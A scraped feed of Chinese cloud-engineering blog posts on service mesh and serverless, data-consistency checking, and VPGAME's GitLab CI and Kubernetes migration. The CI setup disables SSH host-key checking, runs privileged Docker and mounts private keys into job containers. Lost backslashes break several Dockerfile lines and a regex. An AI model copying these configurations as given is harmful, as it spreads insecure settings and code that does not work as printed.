        因为复杂性不不会消失,只可能换一种形式存在。所以现代软件架构的核心任务之一就是定义基础设施与应用的边界,合理切分复杂性,尽量减少应用开发者直接面对的复杂性。也就是让开发者专注在核心价值创新上,而把一些与核心业务不相关的问题交给更合适的人或系统来解决。而这些人或系统就是中间件团队、IaaS 团队和运维团队等。随着微服务框架和基础平台自动化能力的提升,业务团队越来越容易的面向微服务框架编程,基于微服务框架管理自己的业务应用,这也是 DevOps 出现的前奏。

        服务通信和服务治理本质是横向的系统级关系,是与业务逻辑正交的。但微服务框架如 HSF/Dubbo 或 Spring Cloud 以代码库的方式来封装这些能力。这些代码库被构建在应用程序本身中,随着应用一起发布和维护,其实现方式和生命周期与业务逻辑耦合在一起的。微服务框架的升级会导致整个服务应用的重新构建和部署。所以不同的微服务框架是不能相互结合的。

        如果是在一家公司内部还可以通过行政命令强制公司内使用一样的技术栈、使用一样的微服务框架进行编程。但如果提供的是云服务就不可能强制用户必须使用同一个微服务框架。更何况很多语言其实是没有微服务框架的。即便是那些有微服务框架的语言之间不同的微服务框架的设计也是完全不一样的。所以微服务框架在公有云面向大众提供服务的时候就显得很受限制。此时微服务框架代码级别内置集成的方式就显得很累赘了, 因此我们需要一个框架无关、语言无关甚至是协议无关的通用的微服务解决方案。 为了解决上述挑战,社区提出了Service Mesh(服务网格)架构。它重新将服务治理能力下沉到基础设施,在服务的消费者和提供者两侧以独立进程的方式部署。这样既达到了去中心化的目的,保障了系统的可伸缩性;也实现了服务治理和业务逻辑的解耦,二者可以独立演进不相互干扰,提升了整体架构演进的灵活性;同时服务网格架构减少了对业务逻辑的侵入性,降低了多语言支持的复杂性。

        Istio 通过 Sidecar 的方式把微服务治理的能力下沉到业务进程之外,从而解除了微服务治理和业务进程生命周期的强耦合关系。更重要的是 ServiceMesh 这一层抽象除了一套通用的操作标准,不会因不同的语言、不同的微服务框架而不同。

        服务化的发展历程,是伴随着业务一起发展起来的,随着业务本身越来越复杂导致软件架构的复杂。而服务化解决这个问题的方法就是让复杂性下沉,通过层层抽象把复杂性下沉到底层系统。始终都要保持业务开发尽量聚焦在业务本身。

        微服务发展历程的背后力量

        • 业务需求越来越多,业务复杂度不断增加
        • 业务需求越来越多,人员角色越来越多,每一个角色都需要有自己独立决策的空间
        • 激烈的竞争,需要业务更快速的迭代。也希望更尽可能的复用已有的模块

        从应用服务化发展的这个维度我们发现云的发展有这样一个趋势:业务开发的复杂度在不断的向基础平台下沉。

        Serverless

        IaaS 的演进路线一个明显的趋势就是无服务器,这其实也是 Serverless 这个单词可以看到的字面含义。无服务器是 Serverless 的一个维度。

        从服务化的演进路线可以看到一个明显的趋势是业务开发的复杂度在不断的向基础平台下沉。并且下沉的同时业务和基础平台的交互界面是越来越清晰、越来越标准了。在微服务框架的模式中各种微服务框架是各自为政的,但到了 ServiceMesh 的时代就都统一到 ServiceMesh 的标准。业务复杂度向基础平台下沉这是 Serverless 的另一个维度。

        image

        借用 CNCF Serverless 白皮书里面的一张图来说明一下这个关系。
        纵轴表示业务应用越来越关注自己业务逻辑,业务应用只需要使用基础平台提供的能力就可以了,至于这些能力是怎么实现的不应该让业务应用关系细节。这是业务复杂度在不断的向基础平台下沉的过程,业务开发和基础平台的界面也在不断的上涨。
        横轴表示业务应用对基础平台的资源占有模式的变化,从最初的独占模式到现在的按需分配。这是无服务器的发展过程,业务系统只需要在需要的时候拿到资源使用即可,占有资源不是业务系统的核心诉求。

        到这里我们看到云服务的三个趋势,这三个演进方向也就是云原生释放云红利的方式。

        • 无服务器的趋势
        • 业务逻辑不断的向基础平台下沉的趋势

        Serverless 作为云演进的一个很重要的方向,必然要从这两个维度进行突破。现在按需使用的服务支撑已经相对比较完善了,比如云上的 ECI,集团内部的 Sigma/ASI 对业务方来说直接申请即可,无需关心基础设施。但是开发模式上还需要进一步演化,目前的 Serverless 解决方案或者不够通用,或者对开发不友好。比如 FaaS 因为开发维护各个函数的成本非常高,而且每一个函数还有很多限制,所以一直都无法大规模应用。

        ServiceMesh 其实从某种程度来说就是目前比较流行的针对开发复杂度问题的解决方案。通过把复杂度下沉到业务进程之外,并且给出了一套跨平台、跨语言的通用标准。面向 Mesh 编程也会成为接下来云原生方向的一个趋势。

        Knative 作为一个 Serverless 编排框架其 Autoscaler 的自动扩缩容能力可以让应用在没有服务的时候缩容到零,完美的展示了无服务器的威力。Knative 是建立在 Istio 之上的,基于 Istio 可以提供完整的 ServiceMesh 能力。可以看到 Knative 完美的结合无服务器和服务复杂度下沉这两个维度。

        Knative 作为最通用的 Severlesss Framework,其中一个核心能力就是其简洁、高效的应用托管服务(MicroPaaS),这也是其支撑 Serverless 能力的基础。Knative 提供的应用托管服务(MicroPaaS) 可以大大降低直接操作 Kubernetes 资源的复杂度和风险,提升应用的迭代和服务交付效率。当然作为 Severlesss Framework 就离不开按需分配资源的能力,阿里云容器服务 Knative 可以根据您应用的请求量在高峰时期自动扩容实例数,当请求量减少以后自动缩容实例数,可以非常自动化的帮助您节省成本。


        image

        ]]>
        数据一致性检测的应用场景与最佳实践 Fri, 02 May 2025 09:39:04 +0800 随着业务规模的扩张,企业系统变得越来越复杂,在这种复杂的分布式系统架构下,难免会出现远程调用失败,消息发送失败,并发 bug 等等问题,这些问题最终会导致系统间的数据不一致,导致用户体验受损,用户利益受损,对平台来说就是产生资损。因此如何持续保障系统的业务稳定性对于企业来说是一个很重要的课题,本文旨在介绍一些常见业务应用场景下的业务数据一致性保障最佳实践。

        离线or在线,事前or事后

        应对业务数据不一致问题的常规操作是,配置定时任务,在每个固定时间点去拉取历史一段时间的数据出来进行比对,判断是否有数据故障出现,比如利用hadoop做一些批处理MapReduce作业,这种离线计算的方式时效性比较差,对于电商系统或者对于实时性要求较高的系统来说,问题发现的越晚损失也就越大,所以我们需要一种在线的校验模式来实时发现数据不一致问题。

        在线的校验模式指的是每出现一笔数据就进行一次比对,这种比对方式还可以分为事前和事后比对。

        • 事前比对是一种业务强耦合的校验方式,我们在业务系统代码中进行类似 AOP 的操作,横插一段校验代码,如果校验发现问题,则阻断这次业务操作,这种模式虽然时效性很高,能够保证每一笔数据的正确性,但是因为和业务耦合的太重,很容易出现一些灾难性的问题,比如校验代码的性能差或者异常处理不正确,会直接导致业务操作受阻,影响正常业务活动。
        • 事后校验严格上来说不能算是实时校验,因为校验的时间点滞后于真实的业务动作发生时间点,这算是一种准实时校验,这种校验的好处在于,可以和业务解耦,不阻断业务的正常进行,还能较为"实时"的发现数据不一致问题,并且在一些特殊场景下(比如异步业务,下面会介绍)只能使用事后校验,缺点也很明显,就是时效性相比于事前校验来说会比较差。

        这里在啰嗦一句,可能读到这里,有些人会问,既然是业务动作发生之后再进行校验,它的意义还有多大呢?的确相比于事前校验来说,他并不能保证每一笔数据都正确,但是在实际操作中,像电商这种场景下,我们进行业务功能迭代,会经过日常环境 -> 预发环境 -> Beta测试 -> 线上环境的流程,尤其是在预发环境和 Beta 测试的情况下,一般会进行一些线上引流或者模拟数据测试,特点是量小,即使发生问题也只是局部不会引起灾难,那在这种场景下,事后校验的意义就显得很大,可以提前验证功能和数据的正确性,又不会对线上造成强耦合的影响;在功能完全上线后,事后校验的作用在于及时发现数据不一致问题,避免问题的进一步扩散。

        综上所述,对于业务数据校验时效性不是那么高的场景下,离线校验是一种比较合适的方式,开发接入成本都较低,对于业务数据校验时效性有一些要求的场景下,事后校验是一种比较适合的方式,对于业务校验时效性要求非常严格,并且能够投入较多资源的情况下,事前校验比较适合。

        数据一致性检测实践案例

        案例一:会员系统

        某店铺会员入会业务,需要结合店铺系统、打标系统、会员系统进行入会退会操作,如下图所示:

        lADPDgQ9rMQbY_fNARPNAgU_517_275_jpg_620x10000q90g

        在这个业务场景中,买家在店铺会员页发起入会申请,入会成功对外发送会员入会metaq消息,下游业务系统根据这个metaq消息,为该用户打上一个标签,用户在下单的时候就根据这个标签判断是否有优先购买的权利。既然有入会就有退会,退会同样发起metaq消息给用户进行去标操作。所以不管入会还是退会,业务上要求店铺系统的会员状态(入会还是退会)必须和用户系统的标签状态一致(有或者没有),一旦发现数据不一致,一个已经退会的用户如果还有用户会员标签,该用户就可以购买这个限购商品,这样就会造成商家资损。因此必须有对账业务对数据一致性进行强保证,一旦发现数据不一致,必须要通知相关人员进行数据核对,如有问题则进行数据订正。

        这个案例在对账系统的选择上有如下几个要求:

        1. 实时:必须当天尽快处理。
        2. 可以报警
        3. 必须支持不同领域模型。
        4. 接口调用需要有一定的延迟,以便下游系统处理完所有流程之后再校验。
        5. 由于入会、退会metaq可能会有丢失或者乱序的情况,因此不可以根据该消息进行对账。

        在这个业务场景下,我们可以看到,业务是异步的,会员系统发起入会操作后,并不是立刻就能在用户系统打标的,所以实时的事前校验并不适合这个场景,因为在会员系统发起入会操作的时候在用户系统中还查不到这个打标状态,需要延迟一段时间去查,所以只能用事后校验来做。

        我们在这个场景的做法是:拉取店铺会员数据库的实时binlog日志数据,给到校验系统,校验系统解析日志数据拿到要打标的会员id,并且延时一段时间后去会员系统查询这个会员的入会状态,和日志中的状态进行一致性比对,发现不一致则进行告警。

        案例二:新老库迁移

        当新老系统需要进行更替的时候,经常会涉及到数据迁移,由于数据量非常大,而且不允许停机,所以迁移一定是一个循序渐进的过程,整个过程会分成两个部分,第一个部分是双写,保证新增数据两边同步。第二步是开始做存量数据迁移,通过后台任务慢慢跑。在这个过程中可能会出现部分字段没有同步,更新数据顺序错乱导致数据内容不一致的问题,所以需要对迁移进行数据的一致性检查,及时发现数据问题进行订正或者bug修复。

        由于我们的目的是将数据迁移到新系统,所以数据校验触发条件就是新系统有数据写入,这里可能有人会问如果老系统同步失败呢,那么新系统就不会有数据写入,就触发不了校验。这里就存在校验边界的问题,即我们假设同步系统是一定会同步成功的,如果同步失败的话不允许跳过会一直尝试重试同步,所以这里如果发生同步失败,同步会暂停并且打印出同步错误日志,这个就不是校验系统的问题了,我们会通过同步的进度或者同步日志来观察到这个现象。

        所以我们在这个场景的做法是:接收新库的数据库变更binlog日志数据,解析日志内容,通过这条数据id去查询旧库的对应数据,进行数据内容的比对。由于双写的存在,一条数据可能会变更多次,这里就要求我们的校验必须是较为实时的进行,否则就会出现拿到的日志数据内容是旧的(这条数据又发生了更新),导致查询老库的数据出现不一致的问题,其实算是一种误报。

        lADPDgQ9rMQbY_rNAZvNAcU_453_411_jpg_620x10000q90g

        推荐工具&产品

        • AHAS —— 阿里云应用高可用服务,提供企业级的流量控制、故障评测等高可用能力
        • APDS —— 阿里云应用发现服务,支持自动资产盘点,帮助企业实现快速上云搬站

        作者信息:高超,花名龙多,高可用架构技术专家,集团业务检验平台负责人,参与了4次双十一大促系统保障工作,多年业务数据对账和资损防控相关经验。

        ]]>
        VPGAME的Kubernetes迁移实践 Fri, 02 May 2025 09:39:04 +0800 本文原创: 伍冲斌

        VPGAME 是集赛事运营、媒体资讯、大数据分析、玩家社群、游戏周边等为一体的综合电竞服务平台。总部位于中国杭州,在上海和美国西雅图分别设立了电竞大数据研发中心和 AI 研发中心。本文将讲述 VPGAME 将服务器迁移至 Kubernetes 的过程。

        背景

        随着容器技术的日趋成熟,公司近期计划将服务迁移至容器环境,通过 Kubernetes 对容器进行调度、编排和管理。并借此机会,对服务进行标准化,优化整个 CI/CD 的流程,提高服务部署的效率。

        CI/CD 工具的选择

        CI/CD 工具上,我们选择了 GitLab-CI。GitLab-CI 就是一套配合 GitLab 使用的持续集成系统,以完成代码提交之后的安装依赖、编译、单元测试、lint、镜像构建以及发布等工作。

        GitLab-CI 完美地和 GitLab 进行集成,在使用的时候只需要安装配置 gitlab-runner 即可。GitLab-Runner 在向 GitLab 完成注册后可以提供进行 CI/CD 操作的环境,负责从 GitLab 中拉取代码,根据代码仓库中配置的 gitlab-ci.yml ,执行相应的命令进行 CI/CD 工作。

        相比于 Jenkins,GitLab-CI 配置简单,只需在工程中配置 gitlab-ci.yml 文件完成 CI/CD 流程的编写,不需要像在 Jenkins 里一样配置 webhook 回调地址,也不需要 Jenkins 新建这个项目的编译配置。并且个人认为 GitLab 的 CI/CD 过程显示比 Jenkins 更加美观。当然 Jenkins 依靠它丰富的插件,可以配置很多 GitLab-CI 不存在的功能。按照现在我们的需求, GitLab-CI 简单易用,在功能也满足我们的需求。

        服务运行环境

        容器环境优点

        传统的服务部署方式是在操作系统中安装好相应的应用依赖,然后进行应用服务的安装,这种部署方式的缺点是将服务的程序、配置、依赖库以及生命周期与宿主机操作系统紧密地耦合在一起,对服务的升级、扩缩容、迁移等操作不是十分便利。

        容器的部署方式则是以镜像为核心,在代码进行编译构建时,将应用程序与应用程序运行所需要的依赖打包成一个镜像,在部署阶段,通过镜像创建容器实例完成服务的部署和运行。从而实现以应用为中心的管理,容器的隔离性实现了资源的隔离,由于容器不需要依赖宿主机的操作系统环境,所以可以很好地保证开发、测试和生产环境的一致性。此外,由于构建好的镜像是不可变的,并且可以通过 tag 进行版本控制,所以可以提供可靠、频繁的容器镜像构建和部署,亦可方便及快速进行回滚操作。

        Kubernetes 平台功能

        Kubernetes(简称 k8s),作为一个容器调度、编排和管理平台,可以在物理或虚拟机集群上调度和运行应用程序容器,提供了一个以容器为核心的基础架构。通过 Kubernetes,对容器进行编排和管理,可以:

        • 快速、可预测地部署服务
        • 拥有即时扩展服务的能力
        • 滚动升级,完成新功能发布
        • 优化硬件资源,降低成本

        阿里云容器服务优势

        我们在服务迁移中选用了阿里云的容器服务,它基于原生 Kubernetes 进行适配和增强,简化集群的搭建和扩容等工作,整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳的 Kubernetes 容器化应用运行环境。在便捷性上,可以通过 Web 界面一键完成 Kubernetes 集群的创建、升级以及节点的扩缩容。功能上,在网络、存储、负载均衡和监控方面与阿里云资源集成,在迁移过程中可以最小化减少迁移带来的影响。

        此外,在选择集群创建时,我们选择了托管版 Kubernetes,只需创建 Worker 节点,Master 节点由容器服务创建并托管。如此一来,我们在 Worker 节点的规划与资源隔离上还是具备自主性和灵活性的同时不需要运维管理 Kubernetes 集群 Master 节点,可以将更多的精力关注在应用服务上。

        GitLab Runner 部署

        GitLab CI 工作流程

        image

        GitLab CI 基本概念

        在介绍 GitLab CI 之前,首先简单介绍一下 GitLab CI 里的一些基本概念,具体如下:

        • Pipeline:Gitlab CI 里的流水线,每一次代码的提交触发 GitLab CI 都会产生一个 Pipeline。
        • Stage:每个 Pipeline 由多个 Stage 组成,并且每个 Stage 是有先后顺序的。
        • Job:GitLab CI 里的最小任务单元,负责完成具有一件事情,例如编译、测试、构建镜像等。每个 Job 都需要指定 Stage ,所以 Job 的执行顺序可以通过制定不同的 Stage 来实现。
        • GitLab Runner:是具体执行 Job 的环境,每个 Runner 在同一时间只能执行一个 Job。
        • Executor:每个 Runner 在向 GitLab 注册的时候需要指定 Executor,来决定通过何种类型的执行器来完成 Job。

        GitLab CI 的工作流程

        当有代码 push 到 GitLab 时,就会触发一个 Pipeline。然后进行编译,测试和镜像构建等操作等操作,其中每一步操作都为一个 Job。在 CD 阶段,会将 CI 阶段构建出来的结果根据情况部署到测试环境或生产环境。

        GitLab Runner 介绍

        Gitlab Runner 分类

        GitLab 中有三种类型的 Runner ,分别为:

        • shared:所有项目使用
        • group:group下项目使用
        • specific:指定项目使用

        我们可以根据需要向 GitLab 注册不同类型的 Runner,注册的方式是相同的。

        Gitlab Runner 工作过程

        Runner 首先会向 GitLab 发起注册请求,请求内容中包含 token、tag 等信息,注册成功后 GitLab 会向 Runner 返回一个 token,后续的请求,Runner 都会携带这个请求。

        注册成功后,Runner 就会不停的向 GitLab 请求 Job,时间间隔是 3s。若没有请求到 Job,GitLab 返回 204 No Content。如果请求到 Job,GitLab 会把 Job 信息返回回来,Runner 在接收到 Job 之后,会向 GitLab 发送一个确认请求,同时更新任务的状态。之后,Runner 开始 Job 的执行, 并且会定时地将中间数据,以 Patch 请求的方式发送给 GitLab。

        image

        GitLab Runner 的 Executor

        Runner 在实际执行 Job 时,是通过调用 Executor 来完成的。Runner 在注册时提供了 SSH、Shell、Docker、docker-ssh、VirtualBox、Kubernetes 等不同类型的 Executor 来满足不同的场景和需求。

        其中我们常用的有 Shell 和 Docker 等 Executor,Shell 类型主要是利用 Runner 所在主机的环境进行 Job的执行。而 Docker 类型的 Executor 在每个 Job 开始时,拉取镜像生产一个容器,在容器里完成 Job,在 Job 完成后,对应的容器就会被销毁。由于 Docker 隔离性强、轻量且回收,我们在使用时选用 Docker 类型的 Executor 去执行 Job,我们只要提前做好 Job 所需环境的 Docker 镜像,在每个 Job 定义好 image 即可使用对应的环境,操作便捷。

        GitLab Runner 安装与配置

        Docker 安装

        由于我们需要使用 Docker 类型的 Executor,所以需要在运行 Runnner 的服务器上先安装 Docker,具体步骤如下(CentOS 环境):

        安装需要的软件包,yum-util 提供 yum-config-manager 功能,另外两个是 DeviceMapper 驱动依赖:

        yum install -y yum-utils device-mapper-persistent-data lvm2

        设置 yum 源:

        yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

        安装 Docker:

        yum install docker-ce -y

        启动并加入开机启动:

        systemctl start docker
        systemctl enable docker

        Gitlab runner 安装与启动

        执行下面的命令进行 GitLab Runner 的安装和启动:

        `curl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh | sudo bash
        sudo yum install gitlab-runner -y
        gitlab-runner start`

        GitLab Runner 注册与配置更新

        启动 GitLab Runner 后还需要向 GitLab 进行注册,在注册前需要从 GitLab 里查询 token。不同类型的 Runner 对应的 token 获取的路径不同。shared Runner 需要 admin 权限的账号,按如下方式可以获取对应的 token。

        image

        其他两种类型在对应的页面下( group 或 project 主页)的 setting—>CI/CD—>Runner 可以获取到 token。

        Runner 的注册方式分为交互式和非交互式两种。其中交互式注册方式,在输入 gitlab-runner register 命令后,按照提示输入注册所需要的信息,包括 gitlab url、token 和 Runner 名字等。这边个人比较推荐非交互式命令,可以事先准备好命令,完成一键注册,并且非交互式注册方式提供了更多的注册选项,可以满足更多样化的需求。

        按如下示例即可完成一个 Runner 的注册:

        1. gitlab-runner register --non-interactive
        2. --url "http://git.xxxx.cn"
        3. --registration-token "xxxxxxxxxxx"
        4. --executor "docker"
        5. --docker-image alpine:latest
        6. --description "base-runner-docker"
        7. --tag-list "base-runner"
        8. --run-untagged="true"
        9. --docker-privileged="true"
        10. --docker-pull-policy "if-not-present"
        11. --docker-volumes /etc/docker/daemon.json:/etc/docker/daemon.json
        12. --docker-volumes /etc/gitlab-runner/key/docker-config.json:/root/.docker/config.json
        13. --docker-volumes /etc/gitlab-runner/find_diff_files:/usr/bin/find_diff_files
        14. --docker-volumes /etc/gitlab-runner/key/id_rsa:/root/.ssh/id_rsa
        15. --docker-volumes /etc/gitlab-runner/key/test-kube-config:/root/.kube/config

        我们可以通过 --docker-pull-policy 指定 Executor 执行 Job 时 Dokcer 镜像下载策略。--docker-volumes 指定容器与宿主机(即 Runner 运行的服务器)的文件挂载映射关系。上面挂载的文件主要是用于 Runner 在执行 Job 时,运用的一些 key,包括访问 GitLab、Docker Harbor 和 Kubernetes 集群的 key。当然,如果还有其他文件需要共享给容器,可以通过 --docker-volumes 去指定。

        /etc/docker/daemon.json 文件主要为了可以以 http 方式访问 docker horbor 所做的设置:

        { "insecure-registries" : ["http://docker.vpgame.cn"] }

        完成注册后,重启 Runner 即可:

        gitlab-runner restart

        部署完成后,可以在 GitLab 的 Web 管理界面查看到不同 Runner 的信息。

        image

        此外,如果一台服务需要注册多个 Runner ,可以修改 /etc/gitlab-runner/config.toml 中的 concurrent 值增加 Runner 的并发数,修改完之后同样需要重启 Runner。

        Docker 基础镜像制作

        为了满足不同服务对运行环境的多样化需求,我们需要为不同语言的服务提前准备不同的基础镜像用于构建镜像阶段使用。此外,CI/CD 所需要的工具镜像也需要制作,作为 Runner 执行 Job 时生成容器所需要的 Docker 镜像。

        所有的镜像都以编写 Dockerfile 的形式通过 GitLab 进行管理,并且我们编写了 .gitlab-ci.yml 文件,使得每次有 Dockerfile 新增或者修改就会触发 Pipeline 进行镜像的构建并上传到 Harbor 上。这种管理方式有以下优点:

        • 按照一定规则自动构建镜像,可以快速便捷地新建和更新镜像
        • 根据规则可以找到镜像对应的 Dockerfile,明确镜像的具体组成
        • 团队成员可以通过提交 Merge Request 自由地构建自己需要的镜像

        镜像分类

        image

        • 运行时基础镜像:提供各个语言运行时必须的工具和相应的 package。
        • CI 镜像:基于运行时基础镜像,添加单元测试、lint、静态分析等功能,用在 CI/CD 流程中的 test 环节。
        • 打包上线镜像:用在 CI/CD 流程中的 build 和 deploy 环节。

        Dockerfile目录结构

        每个文件夹都有 Dockerfile 来描述镜像的基本情况,其中包含了 Java、PHP、Node 和 Go 等不同语言的运行时基础镜像和 CI 镜像,还有 docker-kubectl 这类工具镜像的 Dockerfile。

        image

        以 PHP 镜像为例:

        php/ 
           ├── 1.0 
           │   ├── Dockerfile 
           │   ├── ci-1.0 
           │   │   └── Dockerfile 
           │   ├── php.ini 
           │   ├── read-zk-config 
           │   ├── start_service.sh 
           │   └── www.conf 
           └── nginx 
               ├── Dockerfile 
               ├── api.vpgame.com.conf 
               └── nginx.conf
        

        该目录下有一个名为 1.0 的文件夹,里面有一个 Dockerfile 用来构建 php fpm 运行时基础进行镜像。主要是在 php:7.1.16-fpm-alpine3.4 加了我们自己定制化的文件,并指定工作目录和容器初始命令。

        1. FROM php:7.1.16-fpm-alpine3.4
        2. RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories
        3. && apk upgrade --update && apk add --no-cache --virtual build-dependencies $PHPIZE_DEPS
        4. tzdata postgresql-dev libxml2-dev libmcrypt libmcrypt-dev libmemcached-dev cyrus-sasl-dev autoconf
        5. && apk add --no-cache freetype libpng libjpeg-turbo freetype-dev libpng-dev libjpeg-turbo-dev libmemcached-dev
        6. && cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
        7. && echo "Asia/Shanghai" > /etc/timezone
        8. && docker-php-ext-configure gd
        9. --with-gd
        10. --with-freetype-dir=/usr/include/
        11. --with-png-dir=/usr/include/
        12. --with-jpeg-dir=/usr/include/
        13. && docker-php-ext-install gd pdo pdo_mysql bcmath opcache
        14. && pecl install memcached apcu redis
        15. && docker-php-ext-enable memcached apcu redis
        16. && apk del build-dependencies
        17. && apk del tzdata
        18. && rm -rf /var/cache/apk/*
        19. && rm -rf /tmp/*
        20. && rm -rf /working/*
        21. && rm -rf /usr/local/etc/php-fpm.d/*
        22. COPY start_service.sh /usr/local/bin/start_service.sh
        23. COPY read-zk-config /usr/local/bin/read-zk-config
        24. COPY php.ini /usr/local/etc/php/php.ini
        25. COPY www.conf /usr/local/etc/php-fpm.d/www.conf
        26. WORKDIR /work
        27. CMD ["start_service.sh"]

        在 1.0/ci-1.0 还有一个 Dockerfile,是用来构建 PHP 在进行单元测试和 lint 操作时所使用的 CI 镜像。可以看到它基于上面的基础运行时镜像增加其他工具来进行构建的。

        1. FROM docker.vpgame.cn/infra/php-1.0
        2. ENV PATH="/root/.composer/vendor/bin:${PATH}"
        3. ENV COMPOSER_ALLOW_SUPERUSER=1
        4. RUN mkdir -p /etc/ssh && echo "StrictHostKeyChecking no" >> /etc/ssh/ssh_config
        5. RUN apk --update add --no-cache make libc-dev autoconf gcc openssh-client git bash &&
        6. echo "apc.enable_cli=1" >> /usr/local/etc/php/conf.d/docker-php-ext-apcu.ini
        7. RUN pecl install xdebug && docker-php-ext-enable xdebug &&
        8. echo -e "nzend_extension=xdebug.so" >> /usr/local/etc/php/php.ini
        9. RUN wget https://vp-infra.oss-cn-beijing.aliyuncs.com/gitlab-ci/software/download/1.6.5/composer.phar -O /bin/composer &&
        10. chmod +x /bin/composer &&
        11. composer config -g -q repo.packagist composer https://packagist.laravel-china.org
        12. RUN composer global require -q phpunit/phpunit:~5.0 squizlabs/php_codesniffer:~3.0
        13. WORKDIR /
        14. CMD ["/bin/bash"]

        另外 Nginx 目录下同样有 Dockerfile,来定制化我们 PHP 项目所需要的 Nginx 镜像。

        在 GitLab 里第一次增加新的 Dockerfile 或者更改 Dockerfile 时,会触动 Pipeline 自动进行镜像的构建并上传的我们私有的 Docker Harbor 上。

        image

        镜像自动构建基本原理

        由于各个镜像通过 Dockerfile 进行管理, Master 分支有新的合并,可以通过 git diff 命令找出合并前后新增或更新的 Dockerfile,然后根据这些 Dockerfile 依据一定的命名规则构建镜像,并上传到 Docker Harbor 上。

        上面命令中 finddifffiles 基于 git diff 命令找出合并前后有差异的文件。

        加速 tips

        • Alpine Linux Package Management(APK)镜像地址:http://mirrors.aliyun.com
        • 一些海外软件下载会比较慢,可以先下载下来上传至阿里云 OSS 后下载。Dockerfile 使用阿里云 OSS 作为下载源,减少构建镜像时间。

        基于 .gitlab-ci.yml 的 CI/CD 流程

        在完成 GitLab Runner 以及 Docker 基础镜像的制作之后,我们便可以进行 CI/CD 流程来完成代码更新之后的单元测试、lint、编译、镜像打包以及部署等工作。通过 GitLab CI 进行 CI/CD 的操作只需要在代码仓库里编辑和维护一个 .gitlab-ci.yml 文件,每当代码有更新,GitLab CI 会读取 .gitlab-ci.yml 里的内容,生成一条 Pipeline 进行 CI/CD 的操作。.gitlab-ci.yml 的语法比较简单,基于 yaml 语法进行 Job 的描述。我们把 CI/CD 流程中所需要完成的任务拆分成文件里的 Job,只要对每个 Job 完成清晰的定义,便可形成一套合适高效并具有普适性的 CI/CD 流程。

        定义 stages

        stages 是一个非常重要的概念, 在 .gitlab-ci.yml 中进行全局定义, 在定义 Job 时指定其中的值来表明 Job 所处的 stage。而在 stages 里元素的顺序定义了 Job 的执行顺序:所有在相同 stage 的 Job 会并行执行,只有当前 stage 的所有成功完成后,后面 stage 的 Job 才会去执行。

        例如,定义如下 stages:

        `stages:

        • build
        • test
        • deploy`
        1. 首先,所有 build 里的 Job 会并行执行;
        2. 当 build 里所有 Job 执行成功, test 里所有 Job 会并行执行;
        3. 如果 test 里所有 Job 执行成功, deploy 里所有 Job 会并行执行;
        4. 如果 deploy 里所有 Job 执行成功, 当前 Pipeline 会被标记为 passed;
        5. 当某个 stage 的 Job 执行失败, Pipeline 会标记为为 failed,其后续stage 的 Job 都不会被执行。

        Job 的描述

        Job 是 .gitlab-ci.yml 文件中最重要的组成部分,所有的 CI/CD 流程中所执行的任务均可以需要通过定义 Job 来实现。具体来说,我们可以通过关键字来对每一个 Job 进行描述。由于 Job 中的关键字众多,并且用法比较丰富,这边针对我们自己实战中的一个 Job 来进行说明。

        1. unittest:
        2. stage: test
        3. image: docker.vpgame.cn/infra/php-1.0-ci-1.1
        4. services:
        5. - name: docker.vpgame.cn/infra/mysql-5.6-multi
        6. alias: mysql
        7. - name: redis:4.0
        8. alias: redis_default
        9. script:
        10. - mv .env.tp .env
        11. - composer install --no-dev
        12. - phpunit -v --coverage-text --colors=never --coverage-html=coverage --stderr
        13. artifacts:
        14. when: on_success
        15. paths:
        16. - vendor/
        17. - coverage/
        18. expire_in: 1 hour
        19. coverage: '/^s*Lines:s*d+.d+%/'
        20. only:
        21. - branches
        22. - tags
        23. tags:
        24. - base-runner

        上面的 Job 主要完成了单元测试的功能,在起始行定义了 Job 的名称。下面我们来解释 Job 每个关键字的具体含义。

        stage,定义了 Job 所处的 stage,值为定义在全局中 stages 里的值。

        image,指定了 Runner 运行所需要的镜像,这个镜像是我们之前制作的基本镜像。通过该镜像运行的 Docker 即是 Job 运行的环境。

        services,Runner 所运行的 Docker 所需要的连接依赖,在这边分别定义了 MySQL 和 Redis,在 Job 运行时会去连接这两个镜像生成的 Docker。

        script,Job 运行的具体的命令 ,通过 Shell 来描述。此 Job 中的 script 主要完成了代码的编译和单元测试。

        artifacts,主要是将此 Job 中完成的结果打包保存下来,可以通过 when 指定何时保存,path 定义了保存的文件路径, expire_in 指定了结果保存的有效期。与之对应的是 dependencies 参数,如果其他 Job 需要此 Job 的 artifacts ,只需要在 Job 按照如下定义即可。

        `dependencies:

        • unittest`

        only 关键字指定了 Job 触发的时机,该例子中说明只有分支合并或者打 tag 的情况下,该 Job 才会被触发。

        与 only 相对还有 except 关键字来排除触发 Job 某些情况。此外 only 还支持正则表达式,比如:

        1. job:
        2. only:
        3. - /^issue-.*$/
        4. except:
        5. - branches

        这个例子中,只有以 issue- 开头 tag 标记才会触发 Job。如果不加 except 参数,以 issue- 开头的分支 或者 tag 标记会会触发 Job。

        tags,tags关键字主要是用来指定运行的 Runner 类型。在我们实际运用中,部署测试环境和生产环境所采用的 Runner 是不一样的,它们是通过不同的 tag 去标识区分。

        image

        所以,我们在 Job 定义中,通过 tags 指定 Runner 的值,来指定所需要的 Runner。

        我们可以看到 Job 的定义非常的清晰和灵活,关于 Job 的使用远不止这些功能,更详细的用法可以参考 GitLab CI/CD 官方文档。

        CI/CD 流程编排

        在清楚了如何描述一个 Job 之后,我们通过定义一个个 Job,并进行编排形成 Pipelines。因为我们可以描述设定 Job 的触发条件,所以通过不同的条件可以触发形成不一样的 Pipelines。

        在 PHP 项目 Kubernetes 上线过程中,我们规定了合并 Master 分支会进行 lint、unitest、build-test 以及 deploy-test 四个 Job。

        image

        在测试环境验证通过之后,我们再通过打 tag 进行正式环境的上线。此处的 Pipelines 包含了 unittest、build-pro 和 deploy-pro 三个 Job。

        build stage:

        1. # Build stage
        2. .build-op:
        3. stage: build
        4. dependencies:
        5. - unittest
        6. image: docker.vpgame.cn/infra/docker-kubectl-1.0
        7. services:
        8. - name: docker:dind
        9. entrypoint: ["dockerd-entrypoint.sh"]
        10. script:
        11. - echo "Image name:" ${DOCKER_IMAGE_NAME}
        12. - docker build -t ${DOCKER_IMAGE_NAME} .
        13. - docker push ${DOCKER_IMAGE_NAME}
        14. tags:
        15. - base-runner
        16. build-test:
        17. extends: .build-op
